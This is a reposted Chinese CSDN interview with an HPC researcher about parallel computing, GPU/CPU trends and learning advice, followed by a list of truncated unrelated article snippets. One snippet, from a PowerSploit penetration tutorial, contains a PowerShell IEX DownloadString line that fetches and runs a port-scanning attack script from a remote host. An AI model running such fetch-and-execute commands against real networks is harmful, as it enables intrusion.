并行计算的专访

摘要:社区之星第9期采访的嘉宾是香港浸会大学计算机在读博士、浪潮高性能计算顾问赵开勇。此次他为我们揭开了高性能计算的神秘面纱,为读者讲解自己的经验心得。并且他认为基于移动设备的高性能计算将会成为未来潮流,低功耗、高性能也将成为一个重要指标。

赵开勇:基于移动设备的高性能计算将会成为未来潮流

赵开勇,香港浸会大学计算机在读博士,长期从事高性能计算领域研究,在CPU、GPU异构计算方面有多年的研究经验。浪潮高性能计算顾问,组织参与国内多个科研单位和高性能用户的高性能项目开发。

众核、内存计算是高性能发展未来

CSDN:过去几年,并行计算的技术演变、应用的拓展,以及未来发展分别是什么?

赵开勇:传统的并行计算机更多的是中型机和大型机,或者专门制造的特需机器,那个时候并行计算离大众还很远。并行计算的算法基本是在上世纪六、七十年代的时候开始,当时有很多研究文章,而且研究得很透彻。但在那时候,并行计算、高性能计算,离大众还比较远。

从2000年左右开始,计算芯片、存储、网络的发展使得之前昂贵的计算机变得廉价。由于像Google这类公司的算法的演变,使得廉价的PC架构的机器构建出的服务器集群就可以完成高性能计算。当然我们这里讨论的并行计算,其实只是高性能计算的一种方法而已,并行计算通常是指许多指令一起执行,是针对串行计算而言的。

现在的高性能计算,既有并行计算,也有串行计算,概念更加的广泛,而不局限于传统的并行计算。从2000年左右开始,有科研者采用GPU作为通用计算。到2006年,Nvidia推出通用计算的GPU,打破了传统基于CPU(或者专用协处理器)的高性能计算,让民众更接近高性能计算(并行计算),并且可以采用廉价的芯片达到高性能计算的目的。

在传统CPU芯片方面,也通过增加CPU的核心来提高计算性能,从以前的单核、双核到多核,再到Intel前不久推出的MIC架构的众核芯片,都标明了计算芯片再向多核心方向发展。另一个方面,基于AMD的APU架构芯片,兼备CPU和GPU,让CPU和GPU可以通过更便捷的方式共享内存,达到协作处理的目的。

此外,内存的价格越来越低,基于内存的存储会在将来的高性能发展中起到重要的地位。我们在高性能计算中常常会遇到IO的瓶颈,很难真正发挥所有计算芯片的能力,内存等存储的廉价也会在这些问题上得到一些解决。随着网络传输的发展,性能的提高,也会在将来的高性能计算中起到决定的因素。

传统CPU架构不再是唯一选择

CSDN:你如何看待未来的芯片格局?

赵开勇:传统的CPU会长期存在,但是高性能计算的地位会下降,会有GPU、CPU(不同类别的CPU,x86体系结构,基于ARM的CPU)都会逐步跟上。Intel的高性能计算的地位有所动摇,Nvidia的GPU和ARM64架构的芯片会埋头追赶,AMD的APU和基于ARM64的芯片也同样如此。同时基于移动设备的CPU、GPU也会具有高性能计算的能力。

在过几年,Intel的x86的CPU、MIC;Nvidia的GPU(还有ARM64架构的芯片,可能是CPU也可能是GPU,也可能是CPU和GPU的合体);AMD的CPU、GPU、APU,以及基于ARM的芯片,都会在高性能计算里面各争天下。基于移动设备的高性能计算,也会成为一个潮流

还有一个重点是低功耗、高性能,会在将来的高性能计算中会成为一个重要的指标

而国产的高性能计算芯片会在中国未来几年的舞台上发挥重要的作用,包括专业级的高性能计算中心,也包括民用级别的高性能计算机,都会国产的设备初露头角。

未来的元计算中心和高性能计算中心,基本上会成为一个实体、两个概念或是融合一起。硬件层次上不会有太多的区别,更多的是跑在服务器上的算法和应用。

其中,高性能计算的发展硬件只是一个方面,而且硬件的变革很快,这几年基本上是一年到一年半就有一个变化。所以在堆砌硬件的同时,一定要注意软件的开发、软件算法、框架的设计,做到发挥现有集群性能的同时,向后兼容。现在很多云计算中心,或者高性能中心,计算量达不到饱和,一年维护的费用和电费等超过了本身发挥的价值。软件是高性能计算现在的短板,需要在高性能计算的软件上开展更多的工作。

CSDN:ARM+Hadoop在高性能计算领域的应用领域是什么?瓶颈是什么?

赵开勇:Hadoop在高性能计算中已经应用很广,基于ARM架构的Hadoop部署现在还比较少。ARM的优势是低功耗、高性能,但是其处于瓶颈,基于ARM的高性能计算核心还没有大规模的量产,或者说在业界还没有真正得到认可。基于ARM架构的高性能计算芯片,或许会在接下来的几年中大放异彩。

CSDN:你认为GPU与CPU的融合,最大的挑战在哪里?

赵开勇:GPU现在还是作为CPU的协作处理器存在,通过PCIE传输数据,这就是很严重的瓶颈。也许再过几年,CPU和GPU可以共享内存以后,传输的瓶颈会得到解决。

高性能计算是一个不断迭代的优化过程

CSDN:对并行计算从业者而言,请推荐几个好的开源框架和一定要去读的几本书,以及分享下你学习的好经验、好方法。

赵开勇:个人感觉,高性能计算有硬件和软件部分,对于一个整体系统,既要对系统的硬件,包括计算核心、存储和网络传输分布等都要有了解。这些方面可以看Intel、NVidia和AMD等厂商的技术手册,都可以看到一些计算核心的资料。

同时要了解高性能计算的应用层面,任何的高性能计算都不能大包大揽,用一个方案解决所有的问题。需要在对应的行业里面学习相关的知识,了解问题的根本,从问题的根本入手,从算法层面优化问题,不要套用固定的模型或框架。需具体问题具体分析,再抽象出来,看已有的框架是否可以解决,然后再优化设计。高性能计算是一个不断迭代的优化过程,找到分析问题、问题的热点、解决问题、优化问题、再找新的热点,然后重复迭代的过程。高性能计算的领域不同,解决问题的方法也不一定相同,需要融汇各种方法和理论。

我个人推荐的书籍有陈国良院士的《并行计算系列丛书》、《并行算法导论/艾克萨威尔》等一些算法的书籍,对高性能计算(并行计算)有一些算法的了解,学会用并行计算的思维思考问题,解决问题。编程相关的就可以了解一下OpenMP、MPI、CUDA等编程方法。还有现在比较流行的并行计算框架、hadoop等,此类文档都可以再上网搜索。

既要了解最根本的算法,有算法的思想,同时深入了解问题的本质,然后再在编程实践中去解决问题,既有理论,也有实践,结合起来才最重要的原则。空谈误事,实干兴业

CSDN帮我提升自身价值

CSDN:你曾是CSDN社区版主,在那段时间里对你的工作和学习有何帮助?你留下了什么深刻的回忆可分享?

赵开勇:通过解答网友的问题,可以更清楚的认识问题。有些问题自己一开始也不清楚,但是在回答问题的过程中需要查阅资料,也就把问题攻克了。同时,还可以跟很多业界的朋友进行沟通和交流,分享自己研究成果的时候,帮助大家的时候,其实也是在帮助自己。我最大的收获是在分享这些成果的时候,得到了大家的认可。最深刻的影响是通过CSDN的博客分享、技术交流,让业界的各个高性能公司了解了我,包括Nvidia、AMD、浪潮、联想、曙光,以及Intel等。这些收获是在帮助别人的时候并没有考虑到的,后来回想这些收获,最重要的一点在于帮助别人,其实就是帮助自己。

CSDN:你对CSDN有何建议,你认为未来的社区有何期待?

赵开勇:在CSDN有大概有十年的感情,在这里认识了不少朋友,也希望可以成为技术交流的圈子,希望成为华人核心技术社区,成为国际品牌,而不止局限于国内,希望能走出国门,让更多的华人参与到这里面来。

赵开勇CSDN ID:OpenHero  博客地址:http://blog.csdn.net/OpenHero

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/449586.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CentOS6.5 搭建 LNMP (linux + nginx + mysql + php)

前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到教程。 1:查看环境: 12[root10-4-14-168 html]# cat /etc/redhat-releaseCentOS release 6.5 (Final)2:关掉…

正睿2019省选附加赛 Day10 (这篇其实已经都咕咕了...)

目录 2019.3.13A.算算算(二项式定理 斯特林数)B.买买买C.树树树2019.3.13比赛链接 A.算算算(二项式定理 斯特林数) 题目链接 \(x^k\)可以用二项式定理展开,需要维护的就是\(0\sim k\)次方的\(\sum_{j}F(j,i)\)。加入一个数时,每一项都要再用一遍二项式定…

freemarker 从 spring boot execute jar可执行jar中访问模板文件

2019独角兽企业重金招聘Python工程师标准>>> private static Configuration freemarkerCfg null;static {freemarkerCfg new Configuration();//freemarker的模板目录try {String pathPrefix "/";// 为了支持能从execute jar 中获取模板文件URI uri C…

获取所有股票数据

#%%#先引入后面可能用到的包(package) import pandas as pd import numpy as np import matplotlib.pyplot as plt import seaborn as sns sns.set() %matplotlib inline #正常显示画图时出现的中文和负号 from pylab import mpl mpl.rcParams[font.…

POWERSPLOIT-Recon(信息侦察)脚本渗透实战

Recon(信息侦察)模块 a) 调用invoke-Portscan扫描内网主机的端口。 1)通过IEX下载并调用invoke-portscan。 PS C:\Users\Administrator> IEX(New-Object net.webclient).DownloadString("http://192.168.190.141/PowerSploit/Recon/Invoke -Portscan.ps1&qu…

股票代码前面为0,补齐6位数

df[code] df[code].apply(lambda x:str(x).zfill(6))

在CentOS 6上搭建LNMP环境

简介LNMP是Linux、Nginx、MySQL和PHP的缩写,这个组合是最常见的WEB服务器的运行环境之一。本文将带领大家在CentOS 6操作系统上搭建一套LNMP环境。 本教程适用于CentOS 6.x版本。 在安装LNMP环境之前,您需要先对CentOS操作系统做一些初始化的工作&#x…

前端技术周刊 2019-01-21:跨端开发的三条路线

2019-01-21 前端快爆 微软 Edge 开发者意图为 Chrome 实现 HTML Modules,该规范用来替代之前的 HTML Imports。其优点是基于 ES Modules,可以避免全局对象污染、脚本解析阻塞等问题。?点评:举报,有人在「秀恩爱」! &l…

分配内存的方法,需要32位对齐

type 是char,short,int 。 #define DATA_ALIGN 1 #if DATA_ALIGN && WIN32 && (_MSC_VER > 1300) #define my_malloc(type,len) _aligned_malloc(sizeof(type) *(len), 32) #define my_free(ptr) _aligned_free(ptr) #e…

zabbix-02-CentOS7.4安装zabbix4.0

一、环境准备 1.1 主机规划 这里先对本次实验的机器做一个规划,之后的实验均通过这两台机器完成。 序号IP地址主机名CPU内存硬盘安装服务110.0.0.11zabbix-server1C2G20GBzabbix服务端210.0.0.12zabbix-agent1C1G20GBzabbix客户端1.2 操作系统选择 操作系统选择&…

再谈并发

再谈并发 上一篇python并发中讲到了,使用多进程,多线程,多任务来加快程序的运行。其中讲到的一点似乎有点问题,操作系统中线程是调度器的最小执行单位,那为何python中的多线程无法利用多核,只能在一个处理器…

centos6.8安装docker,kong-dashboard并实现页面访问

前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到教程。 我们通过kong-dashboard的admin-UI管理界面进行直观的查看。最终显示界面如图: 因为这个kong-dashboard要用到docker&#x…

leetcood学习笔记-204-计算质数

题目描述: 第一次提交;(超时): class Solution:def countPrimes(self, n: int) -> int:count 0for i in range(2,n):for j in range(2,i1):if i%j 0 and j!i:breakif ji:count1return count 别人家的: 这题搜到一个非常牛逼的算法,叫做厄…

linux man

nameman - 即 manual ,在线查看命令手册。 描述man 是一个系统手册,man 的每一个选项通常是命令名,查找显示选项中的每个相关联的手册页,默认操作按照指顺序,按屏打印显示。 下表显示手册章节号,以及它们包…

centos-install-kong-cassandra

转自:http://blog.54im.com/2016/12/15/centos-install-kong-cassandra/#前置阅读 对于一些传统的大型项目,传统的方式会有一些缺陷,比如说新人熟悉系统成本高(因为整个系统作为一个整体,彼此会有一定的牵连&#xff0…

akshare做mfi策略

#!/usr/bin/env python # coding: utf-8#先引入后面可能用到的包(package) import pandas as pd import numpy as np import matplotlib.pyplot as plt#正常显示画图时出现的中文和负号 from pylab import mpl mpl.rcParams[font.sans-serif][SimHei] …

第二章学习小结

第二章学习小结 对比于上学期所学的知识,能切实感觉到这个学期的课程更加深入和抽象,在学习上难度也有所增加,虽然上个学期就听老师推荐过博客园,但是真正开始写博客还是第一次,最直观的感受就是在完成博客的过程中&am…

翁同龢后人向上海博物馆捐赠两件重要家藏

1月24日,翁万戈先生捐赠书画仪式在上海博物馆内举行。 上海博物馆 供图 1月24日,翁万戈先生捐赠书画仪式在上海博物馆内举行。 上海博物馆 供图 中新网上海1月24日电 (王笈)翁同龢后人翁以钧24日携夫人柳至善,代表翁万戈将两件翁氏家族的重要…

mysql数据库操作

连接mysql from sqlalchemy import create_engine import pandas as pd import numpy as np import matplotlib.pyplot as plt import pymssql from scipy.interpolate import interp1dfrom datetime import timedelta #正常显示画图时出现的中文和负号 from pylab import mpl…